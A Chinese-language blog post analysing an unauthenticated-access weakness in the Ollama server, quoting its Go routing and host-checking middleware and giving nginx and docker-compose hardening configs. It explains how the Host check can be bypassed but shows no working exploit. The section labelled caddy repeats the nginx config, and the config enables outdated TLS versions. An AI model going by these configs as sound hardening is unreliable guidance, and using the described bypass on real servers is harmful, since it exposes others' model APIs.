Ollama未授权
2025-03-10 15:19:17

# 分析

首先看下对请求处理的位置

Server/routes.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
func Serve(ln net.Listener) error {
level := slog.LevelInfo
if envconfig.Debug() {
level = slog.LevelDebug
}

slog.Info("server config", "env", envconfig.Values())
handler := slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{
Level: level,
AddSource: true,
ReplaceAttr: func(_ []string, attr slog.Attr) slog.Attr {
if attr.Key == slog.SourceKey {
source := attr.Value.Any().(*slog.Source)
source.File = filepath.Base(source.File)
}

return attr
},
})

slog.SetDefault(slog.New(handler))

blobsDir, err := GetBlobsPath("")
if err != nil {
return err
}
if err := fixBlobs(blobsDir); err != nil {
return err
}

if !envconfig.NoPrune() {
if _, err := Manifests(false); err != nil {
slog.Warn("corrupt manifests detected, skipping prune operation. Re-pull or delete to clear", "error", err)
} else {
// clean up unused layers and manifests
if err := PruneLayers(); err != nil {
return err
}

manifestsPath, err := GetManifestPath()
if err != nil {
return err
}

if err := PruneDirectory(manifestsPath); err != nil {
return err
}
}
}

s := &Server{addr: ln.Addr()}

var rc *ollama.Registry
if useClient2 {
var err error
rc, err = ollama.DefaultRegistry()
if err != nil {
return err
}
}

h, err := s.GenerateRoutes(rc)
if err != nil {
return err
}

http.Handle("/", h)

ctx, done := context.WithCancel(context.Background())
schedCtx, schedDone := context.WithCancel(ctx)
sched := InitScheduler(schedCtx)
s.sched = sched

slog.Info(fmt.Sprintf("Listening on %s (version %s)", ln.Addr(), version.Version))
srvr := &http.Server{
// Use http.DefaultServeMux so we get net/http/pprof for
// free.
//
// TODO(bmizerany): Decide if we want to make this
// configurable so it is not exposed by default, or allow
// users to bind it to a different port. This was a quick
// and easy way to get pprof, but it may not be the best
// way.
Handler: nil,
}

// listen for a ctrl+c and stop any loaded llm
signals := make(chan os.Signal, 1)
signal.Notify(signals, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-signals
srvr.Close()
schedDone()
sched.unloadAllRunners()
done()
}()

s.sched.Run(schedCtx)

// At startup we retrieve GPU information so we can get log messages before loading a model
// This will log warnings to the log in case we have problems with detected GPUs
gpus := discover.GetGPUInfo()
gpus.LogDetails()

err = srvr.Serve(ln)
// If server is closed from the signal handler, wait for the ctx to be done
// otherwise error out quickly
if !errors.Is(err, http.ErrServerClosed) {
return err
}
<-ctx.Done()
return nil
}

这里初始化 ollama 的配置信息

通过调用 s.GenerateRoutes 函数然后注册路由 http.Handle ("/", s.GenerateRoutes (rc))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var rc *ollama.Registry
if useClient2 {
var err error
rc, err = ollama.DefaultRegistry()
if err != nil {
return err
}
}

h, err := s.GenerateRoutes(rc)
if err != nil {
return err
}

http.Handle("/", h)

跟进下 GenerateRoutes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
func (s *Server) GenerateRoutes(rc *ollama.Registry) (http.Handler, error) {
corsConfig := cors.DefaultConfig()
corsConfig.AllowCredentials = true
corsConfig.AllowWildcard = true
corsConfig.AllowBrowserExtensions = true
corsConfig.AllowHeaders = []string{
"Authorization",
"Content-Type",
"User-Agent",
"Accept",
"X-Requested-With",

// OpenAI compatibility headers
"x-stainless-lang",
"x-stainless-package-version",
"x-stainless-os",
"x-stainless-arch",
"x-stainless-retry-count",
"x-stainless-runtime",
"x-stainless-runtime-version",
"x-stainless-async",
"x-stainless-helper-method",
"x-stainless-poll-helper",
"x-stainless-custom-poll-interval",
"x-stainless-timeout",
}
corsConfig.AllowOrigins = envconfig.AllowedOrigins()

r := gin.Default()
r.Use(
cors.New(corsConfig),
allowedHostsMiddleware(s.addr),
)

// General
r.HEAD("/", func(c *gin.Context) { c.String(http.StatusOK, "Ollama is running") })
r.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "Ollama is running") })
r.HEAD("/api/version", func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"version": version.Version}) })
r.GET("/api/version", func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"version": version.Version}) })

// Local model cache management (new implementation is at end of function)
r.POST("/api/pull", s.PullHandler)
r.POST("/api/push", s.PushHandler)
r.HEAD("/api/tags", s.ListHandler)
r.GET("/api/tags", s.ListHandler)
r.POST("/api/show", s.ShowHandler)
r.DELETE("/api/delete", s.DeleteHandler)

// Create
r.POST("/api/create", s.CreateHandler)
r.POST("/api/blobs/:digest", s.CreateBlobHandler)
r.HEAD("/api/blobs/:digest", s.HeadBlobHandler)
r.POST("/api/copy", s.CopyHandler)

// Inference
r.GET("/api/ps", s.PsHandler)
r.POST("/api/generate", s.GenerateHandler)
r.POST("/api/chat", s.ChatHandler)
r.POST("/api/embed", s.EmbedHandler)
r.POST("/api/embeddings", s.EmbeddingsHandler)

// Inference (OpenAI compatibility)
r.POST("/v1/chat/completions", openai.ChatMiddleware(), s.ChatHandler)
r.POST("/v1/completions", openai.CompletionsMiddleware(), s.GenerateHandler)
r.POST("/v1/embeddings", openai.EmbeddingsMiddleware(), s.EmbedHandler)
r.GET("/v1/models", openai.ListMiddleware(), s.ListHandler)
r.GET("/v1/models/:model", openai.RetrieveMiddleware(), s.ShowHandler)

if rc != nil {
// wrap old with new
rs := &registry.Local{
Client: rc,
Logger: slog.Default(), // TODO(bmizerany): Take a logger, do not use slog.Default()
Fallback: r,

Prune: PruneLayers,
}
return rs, nil
}

return r, nil
}

该函数实际就是构造访问大模型的 cors 配置信息和一些接口配置信息

注意到这里

1
2
3
4
5
6
7
corsConfig.AllowOrigins = envconfig.AllowedOrigins()

r := gin.Default()
r.Use(
cors.New(corsConfig),
allowedHostsMiddleware(s.addr),
)

这里通过 AllowedOrigins 加载环境变量,这里其实也有小问题,后面再看

首先是 allowedHostsMiddleware 的鉴权函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
func allowedHostsMiddleware(addr net.Addr) gin.HandlerFunc {
return func(c *gin.Context) {
if addr == nil {
c.Next()
return
}

if addr, err := netip.ParseAddrPort(addr.String()); err == nil && !addr.Addr().IsLoopback() {
c.Next()
return
}

host, _, err := net.SplitHostPort(c.Request.Host)
if err != nil {
host = c.Request.Host
}

if addr, err := netip.ParseAddr(host); err == nil {
if addr.IsLoopback() || addr.IsPrivate() || addr.IsUnspecified() || isLocalIP(addr) {
c.Next()
return
}
}

if allowedHost(host) {
if c.Request.Method == http.MethodOptions {
c.AbortWithStatus(http.StatusNoContent)
return
}

c.Next()
return
}

c.AbortWithStatus(http.StatusForbidden)
}
}

其实未授权是来源这个中间件的判断

部署 ollama 时有两种判断:
1、没有给定环境变量中的绑定地址,也即 addr == nil ,那么就会直接 c.Next () 放行请求

2、后面则是绑定了地址则解析请求 host 的情况,如果 IP 是回环地址、私有地址、未指定地址,或者满足自定义 isLocalIP 条件,则放行请求,最后判断是否是白名单的请求域名,如果是则放行;如果不是则返回 403

未授权的点就是第一种情况,当启动 ollama 时没有给定监听地址,则默认放行所有请求。

当然,最关键的就是这里只是鉴别了访问 IP,这个可以在数据包中进行伪造,最关键的是,这里并没有身份验证机制,也就是携带白名单 IP 访问即可获取到敏感信息。

image-20250310144350080

# 加固

  • 不要在公网直接安装或运行 ollama,至少监听的 host 只能是局域网地址;要么就用防火墙控制一下
  • 一定要用反向代理或者其他东西来处理一下

例如 nginx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
upstream ollama {
server localhost:11434;
}

server {
listen 8000 ssl;
server_name ollama.mydomain.com;

# for ssl
ssl_certificate "path/to/cert.crt";
ssl_certificate_key "path/to/private.key";
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers HIGH:!aNULL:!MD5;

location / {
# Check if the Authorization header is present and has the correct Bearer token / API Key
set $token "Bearer MY_PRIVATE_API_KEY";
if ($http_authorization != $token) {
return 401 "Unauthorized";
}

# The localhost headers are to simulate the forwarded request as coming from localhost
# because I didn't want to set the Ollama origins as *
proxy_set_header Host "localhost";
proxy_set_header X-Real-IP "127.0.0.1";
proxy_set_header X-Forwarded-For "127.0.0.1";
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://ollama; # Forward request to the actual web service
}
}

caddy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
  upstream ollama {
server localhost:11434;
}

server {
listen 8000 ssl;
server_name ollama.mydomain.com;

# for ssl
ssl_certificate "path/to/cert.crt";
ssl_certificate_key "path/to/private.key";
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers HIGH:!aNULL:!MD5;

location / {
# Check if the Authorization header is present and has the correct Bearer token / API Key
set $token "Bearer MY_PRIVATE_API_KEY";
if ($http_authorization != $token) {
return 401 "Unauthorized";
}

# The localhost headers are to simulate the forwarded request as coming from localhost
# because I didn't want to set the Ollama origins as *
proxy_set_header Host "localhost";
proxy_set_header X-Real-IP "127.0.0.1";
proxy_set_header X-Forwarded-For "127.0.0.1";
proxy_set_header X-Forwarded-Proto $scheme;
proxy_pass http://ollama; # Forward request to the actual web service
}
}

services:
ollama:
image: ollama/ollama:latest
extra_hosts:
- "host.docker.internal:host-gateway"
...
caddy:
image: caddy:latest
environment:
OLLAMA_API_KEY: abc123
ports:
- 0.0.0.0:11434:8081
extra_hosts:
- "host.docker.internal:host-gateway"
links:
- ollama
volumes:
- /path/to/Caddyfile:/etc/caddy/Caddyfile